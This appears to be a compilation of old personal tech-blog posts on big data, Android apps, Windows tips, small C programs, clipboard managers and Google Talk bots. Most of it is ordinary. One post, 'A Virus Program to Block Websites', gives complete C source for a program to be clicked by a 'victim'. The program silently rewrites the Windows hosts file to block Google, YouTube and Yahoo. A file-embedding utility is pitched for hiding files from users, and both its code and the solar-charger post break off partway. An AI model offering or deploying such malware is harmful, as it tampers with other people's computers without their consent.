Introduction to Big Data

2015-10-29T16:40:00.000+05:30

The use of “big data”—vast amounts of varied, fast-moving information—has the potential to magnify and accelerate the ability of businesses to understand customers and fine-tune products. Despite the availability of new techniques to make sense of big data, many senior leaders we encounter today are having a hard time figuring out where to start.

We see three overarching ways in which business leaders can unlock the value of big data:

Develop a big-data strategy that capitalizes on a company’s most important data assets.
Deploy more innovative advanced-analytical approaches to address the highest-priority challenges and processes involving big data.
Determine how big-data transformation can improve existing business models and create entirely new revenue streams.

By far the quickest path to value over the short term is the second approach. By pushing the envelope in the fast-moving area of advanced analytics, companies will quickly learn what works best for them, where the value lies, and how to expand their capabilities over time. Such rapid learning can greatly inform the overall big-data strategy.
This article offers four questions to explore as you experiment with advanced-analytical approaches to big data. Answers to each one can help create immediate clarity about this seemingly vast topic.

Why Get Started Now?

For a long time, many executives thought it was difficult or dangerous to get into the big-data space. Burned by past experiments with large-scale customer-data initiatives that racked up excessive IT costs and failed to generate sufficient results, they have grown gun-shy about the topic. Bad memories of fizzled efforts have led some companies to get stuck in a state of “big-data paralysis.”
But these companies are overthinking things. It’s actually never been safer or easier to get started with big-data solutions. In fact, the rapid evolution of the field has made advanced analytics accessible to just about any company. Everything that a company needs in order to analyze large, complex data sets is now within arm’s reach. Three improvements stand out:

Increasing Speed and Decreasing Costs of Infrastructure and Hardware. The amount of data that can pass through a fiber-optic cable continues to double every nine months. In parallel, processor and storage costs have decreased by a factor of more than 1,000 over the past decade. (See Exhibit 1.)
Better Approaches to Utilizing Hardware. Emerging technologies, in-memory processing, and accessible analytics platforms are enabling the processing of large data sets on thousands of servers distributed across the cloud. In addition, applications that can process big data sets now cost only a few thousand dollars rather than the millions they cost a decade ago. Now, customers can buy only what they need, when they need it.
Improved Availability of Technical Talent. Finally, data analytic skills are becoming more widespread in the workforce, with major universities producing increasing numbers of graduate-degree holders who are focused on all aspects of advanced analytics.

How to Define Big Data

By now, leaders have no doubt heard the term “big data” used repeatedly in the media in different ways. Before we explore how to use advanced analytical techniques well, we must be clear about the meaning of big data.
Big data describes the large amounts and varieties of fast-moving information that can be processed and analyzed to create significant value. We’ll address three of the key characteristics first:

Volume. Data that have grown to an immense size, prohibiting analysis with traditional tools
Variety. Multiple formats of structured and unstructured data—such as social-media posts, location data from mobile devices, call center recordings, and sensor updates—that require fresh approaches to collection, storage, and management
Velocity. Data that need to be processed in real or near-real time in order to be of greatest value, such as instantly providing a coupon to customers standing in the cereal aisle based on their past cereal purchases

Exhibit 2 shows the rapidly expanding nature of each of these three types of data. The three dimensions combine to create data sets that are often quite different from the traditional data a business collects about offers, purchases, and segments. The retail industry, for example, misses out on an estimated $165 billion in total sales each year because retailers do not have the right products in stock to meet customer demand. Big-data analysis allows companies to more quickly understand sales trends and incorporate more accurate forecasting, ultimately increasing customer loyalty and revenue.

Where Does the Opportunity Lie?

Many companies tend to struggle with a fourth dimension: value. Amid efforts to capture larger and more-diverse data sets, incorporate real-time social-media and location data, and keep up with the evolving technology landscape, leaders often lose perspective on how they can create value from advanced analytical approaches to big data.
Opportunities for value creation vary across industries. In retail, advanced analytical approaches often match well with strategies involving promotional effectiveness, pricing, store locations, and marketing at the individual level. In the energy industry, on the other hand, the emphasis is more often on making use of smart-meter data and optimizing physical assets, such as equipment and plants. In financial services, effective areas often include risk scoring, dynamic pricing, and finding optimal ATM and branch locations, while in insurance, the areas might include claims fraud, reimbursement optimization, and the tracking of driving behavior.
To identify value for your company, look for areas that have the following characteristics.
The volume of data matters. The outcome will sometimes be different if you analyze all the data as compared with sampling just a part. To target individual customers, a retailer needs to understand the entire purchase history of a given customer and how, for example, it is different from that of other customers. Using just a sample of customers or their transactions will lead to an incomplete picture, making promotional efforts less effective.
Consider the case of Cardlytics, an Atlanta-based startup that helps retailers sell to “markets of one.” Four of the top ten U.S. banks use the service to analyze hundreds of millions of customer transactions each week—a tremendous amount of data—in order to offer retailers the ability to customize promotions right on a customer’s bank statement. Because the offers are based on purchase behavior and where an individual customer shops, they are highly targeted. Merchants that use the service can reach customers, or competitors’ customers, in a simple, targeted way that can be tracked through actual usage. Response rates average 15 to 20 percent, as compared with the low single digits for most traditional campaigns. Consumers save money without having to print out coupons or enter promotion codes—the discounts are automatically credited to their statements. And banks earn extra revenue and offer their customers more rewards, without a heavy IT investment and without the data ever leaving the banks’ servers.
The variety of data matters. In some cases, the outcome will be different if a company analyzes diverse data types, ranging from structured data that can fit in a traditional relational database to the unstructured data that come from social-media posts and elsewhere and are difficult to map. When vast quantities of data are combined with fast-moving, unstructured social-media data, for instance, it can become very difficult to analyze with old-fashioned techniques.
As an example, there’s tremendous value in accurately predicting churn at a customer-by-customer level at telecom companies. If a company offers discounts to people who would have stayed anyway, it has wasted its money. A lack of appropriate targeting can also make it overlook people who might leave for a competitor.
One company tackling this challenge is Telekomunikacja Polska, part of France Telecom-Orange Group and the largest fixed-line provider for voice and broadband services in Poland. The company wanted to quickly find ways to predict and address churn among its customers more effective than the traditional methods, including analysis of declining rates of use and calculations of lifetime customer value based on how long customers stayed with the service and how much they spent.
The company decided to build a “social graph” from the call data records of millions of phone calls transiting through its network every month—looking, in particular, at patterns of who calls whom and at what frequency. The tool divides communities into roles such as “networkers,” “bridges,” “leaders,” and “followers.” For example, it detects the networkers, who link people together, and the leaders, who have a much greater impact on the network of people around them. That set of relational data gives the telecom-service provider much richer insight into who matters among those who might drop its service and, therefore, how hard to try to keep its most valuable customers. As a result of the approach, the accuracy of the company’s churn-prediction model has improved 47 percent.
The velocity of data matters. In other cases, companies need the latest real-time data to feed into decision making. Lack of that knowledge can mean an increase in risk. The faster a company reacts, the more likely it is to make a sale—or to prevent a customer from defecting to a competitor.
For example, insurers such as Allstate are beginning to offer pay-as-you-drive plans that incorporate a deluge of real-time customer-driving behavior gathered through devices installed in cars. Sensors measure how fast an individual customer drives, how much he or she drives, and how safely he or she navigates the roads. Signals of someone who is a higher risk can include hard braking, accelerating, and turning, as well as the number of miles driven at night or in rush-hour traffic.
Participating customers receive a discount on their next bill once they establish a baseline for their driving behavior over 30 days. They can also go online to track their performance, which tends to increase their loyalty. Likewise, insurers can avoid putting effort into retaining riskier customers, and they can increase these customer’s rates to reflect what they learn about their overall risk pool.

Which Initial Steps to Take Companies can get started with advanced analytics through what we call the “three Ts” of big-data effectiveness: teams, tools, and testing. Each offers an opportunity to start small, deliver tangible results, and scale up what works.
Build the right team. You need a SWAT team for analytics made up of well-rounded experts in the field. A diverse group of experts on narrow topics won’t produce results quickly enough. A large company should start with a team of five, for a total people cost of roughly $1.5 million. With each member of the team, companies need a combination of high-level analytical capabilities, technical familiarity with advanced-analytics platforms, and a clear business perspective to discern which solutions are deployable and which are not. Team members don’t have to be world-class on each dimension, but they do need strengths in each of the three skill sets. In many cases, the right combination of skills and experience is not available inside organizations. Partnerships often offer a shortcut to delivering value in such situations.
Deploy the right tools. You should next support these teams with the right tools to enable success. Each member should be able to leverage cloud infrastructure for his or work. You can outfit each person with a virtual machine and massive amounts of storage for about $15,000 per year. Many industry-standard tools cost only $5,000 to $15,000 per seat. The R open-source programming environment is free.
Test and learn the most effective approaches. Finally, run two- to three-month experiments that push for rapid results and implementation. This forces you to put a timeline on your analysis. You can’t wait around for the perfect infrastructure or solution—the space is moving so quickly that the longer you wait, the further behind you’ll be. If you’re doing things right, you’ll be learning what success means, what you discovered about your capabilities, and what kinds of infrastructure you need. In the process, you’ll discover how resistant the organization is to taking advantage of advanced-analytical approaches to big data, which types of problems and data work best, and what other challenges you could apply your approaches to.
The experience of Aviva, the U.K.’s largest insurer, illustrates all three best practices. Creating Aviva’s new Driving Behavior Data offering involved both developing algorithms to connect driving behavior with prices and creating a smartphone app. Instead of buying expensive systems, Aviva made a minimal initial investment and used a small number of developers. This enabled the team to get the first beta app to customers within five months. Over the next six months, the team refined the app and the customer experience based on rich data from thousands of driver journeys. In the process, it delivered a number of upgrades to the app—for example, enabling customers to share their scores on Twitter and Facebook. The additional knowledge about individual customers allows more-sophisticated insurance ratings based on how people actually drive rather than how similar types of people drive. Aviva can now offer better discounts to good drivers and create a more appealing product. So far, the app has been downloaded thousands of times, and plans are under way to deploy it in markets outside the U.K.
Or consider what has taken place at one North American food and beverage retailer. Not only does the company sell 30,000 individual items, but prices vary by location and market condition. And costs can change as often as four times per year. As a result, the retailer makes up to 120,000 price changes annually. The company, therefore, saw an opportunity to centralize its highly complex, high-data-volume pricing decisions. Using inexpensive tools and a team of only 11, the retailer was able to increase pricing accuracy and responsiveness and to deliver tens of millions of dollars in incremental sales and profit.
With these kinds of small steps, results are definitely possible. Smart companies that stick a paddle into the river of fast-moving data can begin to chart a direct course to creating significant value.

C Compiler For Android

2012-10-22T12:42:00.004+05:30

Programmers this is an wonder full app who are using android, this Gives you a clean environment of C and

c++ C4droid is a simple C/C++ IDE + C/C++ compiler for Android with Makefile support.

C4droid already has almost full C language support, so you don’t need to wait when it will be added.
You can to write your own applications on Android phone, and run them. This app uses TCC and uClibc, so it has full support of ANSI C and some support of ISO C99. C4droid can be used for educational purposes or to practice in C language.
Some components of C4droid are LGPL-licensed. You can download used source code of TCC and uClibc on their websites (But TCC had been modified by me, so I recommend to email me to get modified source).
C4droid includes Android Terminal Emulator so you can to run your application comfortably.

To get C++ support you need:
1) Install GCC plugin (C4droid will ask you to install it).
2) Select G++ compiler in C4droid preferences.
3*) Use iostream, not iostream.h
4*) Add “using namespace std;” to your program (before int main)

To compile Makefile projects, open any file in the same folder with Makefile and long-click “Compile” to configure current directory (C4droid will create .c4droid configuration file when you’ll press Ok). After configuring folder, you can press compile button and C4droid will build your project.
Don’t forget to enter executable name and select compilation mode (and press ok also, else changes will be discarded)

C4droid supports SDL, NativeActivity and Qt for GUI now, install SDL plugin for C4droid to use it (only GCC/G++ compiler is supported, so you need GCC plugin).
(SDL is detected with #include “SDL.h”, NativeActivity is detected with #include “android_native_app_glue.h”, Qt is detected with #include “QtGui”).
There is an experimental support for Qt using necessitas, but note that it’s in alpha stage.
Qt support limitations:
1) Path to Ministro libraries is hardcoded (/data/data/org.kde.necessitas.ministro/files/qt/lib), so email me if it will change.
2) Only QtCore and QtGui libraries are supported by C4droid for now.
3) If you’re compiling a single-file Qt app, you must add #include “yoursourcefilenamewithcpp.moc” to the end of file. If you’re using .pro file for compilation, you don’t need to do that.

Quick manual:
If you have found a bug or app is not working, email me.
If app crashes on start, reboot your device, it’s a Google Play/Android bug.
Long click save button to “save as”, long click run to run with arguments.
Result of compilation (binary) is placed in “/data/data/com.n0n3m4.droidc/files/temp”, because sdcard doesn’t have permission for execution by default.
If you have “Illegal instruction” error, using internal compiler (TCC), install GCC plugin, GCC supports softfloat (by default).

Android Solar Charger

2012-10-21T09:06:00.001+05:30

An app on Google Play is proving to the world that the vast majority of Android users fail to read the description of an app before downloading it.

The Solar Charger app for Android claims that it can charge your phone just by leaving its screen out in the sun. If that sounds too good to be true, that's because it is! However, the app has already been downloaded between 1 and 5 million times (!), so clearly some people are falling for the joke. According to the app developer, that's the whole point: people need to read the description of their apps. If they don't, it's their loss.

The description of the Solar Charger app begins innocently enough: "Go green! Charge your phone with the power of the sun! Start this application, put your phone in a well lit place and watch your battery charge using the solar panel."

Sounds promising enough, right? But as the description continues, it should become even more obvious to the common person that this app is an epic joke:

Auto-Forward SMS and Missed Calls to your Email

2012-09-29T21:25:00.000+05:30

You may wonder why would anyone want to forward text messages or missed call notifications to their email account when the cell phone is with them all the time? Won’t these messages add morenoise to an overflowing email Inbox?

Not so. For instance, some of my friends work in a company where, for security reasons, they aren’t allowed to carry personal mobile phones inside though they do have regular phones at their desk and are allowed email access. They would therefore leave the phone at home but with auto-forwarding enabled, they’ll get an email alert as soon as someone sends them an SMS or calls on their cell during office hours.

Such a feature may also be handy for people who have recently switched to a different phone number and would like to keep track of all incoming calls and messages received on their previous phone but without having to carry it all the time.

The Android Market has dozens of apps that can bring the auto-forwarding feature to your mobile phone but the one that I like most is SMS2Gmail. It says “SMS” but the app can forward both SMS text messages and missed calls to your email address. You will get the complete message text in your email and the sender’s name as well provided that that number already exists in your phonebook.

It takes just one step to get it up and running. Launch the app, provide the credentials of your Gmail account and done. It needs the Google credentials in order to send email notifications but if that doesn’t make you too happy, just create another Gmail account and set it to auto-forward messages to your primary email account.

One more thing.

You turn on email notifications manually but in a situation where you have have forgotten the phone at home, or have misplaced it somewhere, you can remotely activate auto-forwarding by sending an SMS from any another phone to your phone.

The app lets you assign an Activation Keyword (see screenshot) and as soon as a text arrives with that keyword, the auto-forwards will be enabled automatically.

How do I create shutdown shortcuts in Microsoft Windows 7?

2012-05-07T19:56:00.000+05:30

Creating a shortcut

Creating a shortcut should be familiar to almost everyone, but we will walk through the process just for clarity. There are other ways to accomplish this task, but this is my preferred method. First, right-click on a clear spot on the desktop and navigate to New | Shortcut, as shown in Figure A.

Figure A

Navigate the menu to create a new shortcut.

When you click the Shortcut menu item, you will arrive at the input screen shown inFigure B. This is where you will enter the specific command strings to make your new shortcut do what you want it to do.

Figure B

Enter the command for your new shortcut.

For our example, we will enter the specific command that will shut down a Windows PC. Type the following command into the box and then click Next.

Shutdown.exe -s -t 00

The next screen (Figure C) asks you to name the shortcut. I suggest you name the shortcut to correspond to the action it will perform. In this case, we name it Shutdown.

Figure C

Give it an appropriate name.

New icon

Technically, you could stop here, but I prefer to give these shortcuts an icon that will help me remember what it is they do. In Windows 7, changing an icon is similar to how you changed icons in previous versions of the operating system.

Right-click on the icon in question to get the context menu shown in Figure D and then navigate to the Properties menu item.

Figure D

Find Properties on the menu.

From the Properties control panel, shown in Figure E, select the Change Icon button.

Figure E

Select Change Icon.

The next screen (Figure F) will show you a list of potential icons. Choose the one you want to use and click the OK button twice.

Figure F

Choose your icon and click OK.

You should now have a new shortcut on your desktop. When you click the shortcut, your PC will shut down, so make sure you save your work before you test it.

Guessing Game In C

2012-03-04T08:54:00.001+05:30

This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

A Self Destructing Program in C

2012-03-04T08:52:00.002+05:30

This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

HOW TO COMPILE ?

Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.

File Embedder Project in C

2012-03-04T08:51:00.002+05:30

Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.

This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

Both the Embedding and extraction process has been presented in seperate functions for your convenience. Here’s the code…..

#include<stdio.h>
#include<conio.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<stdlib.h>
#include<string.h>

char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;

void main()
{
while(1)
{
clrscr();
puts(“\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(“1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ’1′:embed();
getch();
break;
case ’2′:
extract();
getch();
break;
default:
exit(0);
}
}
}

void embed()
{
puts(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{

A Virus Program to Block Websites

2012-03-04T08:49:00.001+05:30

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

5. Delete all such entries which contain the names of blocked sites.

Download YouTube Videos: Easiest Way

2012-03-04T08:42:00.000+05:30

YouTube is undoubtedly the most preferred website to share and watch favorite videos. Most users prefer to watch the videos online, while a few others like me, would like to download them so that, they can be saved and retained. Well, if you are one among those few who would like to download the videos from YouTube, then here is a way to do that.

In fact, there are many ways to download videos from YouTube, but here in this post, I would like to share with you one of the easiest way to do that. This can be done as follows:

1. Download and install the latest version of Internet Download Manager.

Internet Download Manager is a great add-on for your web browser which increases the download speed by 5 times. It also helps you to pause/resume and schedule your downloads. It has got a great interface and is user friendly. It works with most of the browsers including IE, Firefox, Chrome, Safari and Opera.

2. After you complete the installation, just open your browser and start searching for your favorite video on YouTube. You will see the download button on top of the video using which you can download it instantly.

3. Click on the “Download this Video” button to save the video onto your computer. The downloaded video will be in the flash video format (.flv).

4. You can use VLC Player to play the downloaded video or use SUPER to convert it to your desired format.

By using this trick, you can download almost all the buffering content on the Internet including videos from MySpace and Google. I hope you like this small post. Don’t forget to pass your comments

How to Retrieve Clipboard History in Windows

2012-03-04T08:38:00.000+05:30

Ever copied a code snippet or text from the web and forgot to paste it before you copied something else? Well, all of us will have an experience of something like this, where we want to desperately retrieve those information that was once copied to the clipboard. But since Windows clipboard will only remember the last item that was copied onto it, it would seem impossible to recover the information that was copied earlier. However, this problem can be solved using an alternative clipboard manager in place of the default one.

In this post you will find a few such alternative clipboard managers for Windows using which it would be possible to save and retrieve every piece of information that was copied to the clipboard. Here’s a quick list:

1. Clipdiary

This tool is a powerful clipboard manager which will store every piece of information that was copied to the clipboard including text, images or any other file. Clipdiary automatically loads upon Windows startup and maintains a database to store the history of all copied items.

This makes it possible to retrieve the information that was once copied to the clipboard, be it the last hour or the last week. Clipdiary is a shareware tool which comes with a 30 day fully functional evaluation period.

Download Clipdiary

2. ClipMagic

ClipMagic is similar to Clipdiary but includes a few extra features that could seem handy for advanced users. The following are some of the extra features of ClipMagic that are not present in Clipdiary:

Categorize/organize your clips. You can also create filters/rules for your incoming clips
You can store/categorize your ideas to research fast
Assign often used text like email signatures to hotkeys

Download ClipMagic

3. Ditto

Ditto is a powerful alternative to the default Windows clipboard manager which is an open source tool. It keeps track of all the copied items such as text, images and other files so that you can retrieve them whenever necessary. The following are some of the highlights of Ditto:

Assign hotkeys to frequently used clippings
Search and organize the clippings based on task or project
Supports unicode so that you can copy foreign and non-standard characters without any issues
Get a preview of all the copied items including thumbnails of images just by pressing the assigned hotkey
Ditto comes as a freeware so that you can enjoy all of it’s features free of cost

Even though Ditto is a freeware, it is still comparable to the two shareware tools discussed earlier. So in my opinion Ditto is always the first choice. You may still download and try all the three and keep the one that you like!

Download Ditto

I hope you enjoyed this post! Post your feedback through comments.

Useful Google Talk Bots That You Must Add as Friend

2012-03-04T08:13:00.001+05:30

Here are the eleven most useful ‘bots’ that transform Google Talk into a more useful program:

feeds 1. imfeeds@gmail.com - Add this IM Feeds bot as your Google Talk buddy and you’ll be able to read any blog or website that syndicates content via RSS feeds.

To subscribe to a website in GTalk, simply send a new IM message that says “sub xxx.com” where xxx.com is the site address that you want to read inside Google Talk.

2. friendfeed@bot.im - This secret bot lets you post to FriendFeed from Google Talk. You may submit either hyperlinks or text messages.

3. imified@imified.com - This imified bot turns Google Talk into a real powerhouse.

imifiedYou can post bookmarks to delicious, send messages to Twitter, submit blog entries to WordPress, Tumblr or Blogger, manage events in Google Calendar, shorten long URLs, run whois and so on.

4. inezhabot@gmail.com - Like IM Feeds, iNezha bot helps you read feeds inside Google Talk but this is slightly more versatile. For instance, you can simply say “digg” and it will show a list of all feeds that match that search term so you don’t have to type (or copy-paste) feed addresses.

5. Translation - This is a free service from Google that helps you translate words from a foreign language into your native language. Just add the relevant bot (e.g. hi2en@bot.talk.google.com for Hindi to English oren2hi@bot.talk.google.com for English to Hindi) as your buddy, send him a message and it will get translated instantly.

6. Use Google Talk with Twitter - Invite twitter@twitter.com to become your friend in Google Talk and verify your account. Now whenever you IM this new friend, the message will automatically publish on your twitter account.

7. Set Task Reminders - If you need to remember something important, Google Talk can send you reminders for that event.

Just add timer to your Twitter friend’s list and then add twitter@twitter.com to your buddy list in Gtalk. Now if you want to get a reminder after 50 minutes, send a direct message to twitter like “d timer 50 pick kids from school” and a reminder will automatically pop up in your Google Talk after 50 minutes.

8. Transliteration - If you want to chat in your mother tongue (like Hindi or Tamil) but feel more comfortable using the English keyboard, Google Transliteration bot will come in handy.

9. Xpenser - With xpenser, you can record travel expenses via email, SMS or even Google talk. Addxpenserbot@gmail.com as your buddy and send a message like “lunch 33.2 with Bill Gates” and that will be added as an expense to your online spreadsheet that can be accessed from anywhere.

10. Ping.fm - Like Imified, ping.fm is one of the most useful Google bots out there especially if you are a social networking or micro-blogging addict.

Add pingdotfm@gmail.com to Gtalk and you can communicate with twitter, jaiku, wordpress, identi.ca, facebook, myspace, bebo, friendfeed, linkedin, tumblr, plaxo, friendster, delicious and more.

11. Meshly - Add meshly@gmail.com as your friend and you’ll be able to post web link to your Meshly account via Google Talk. You can also add tags, categories and description to your hyperlink via Gtalk itself.
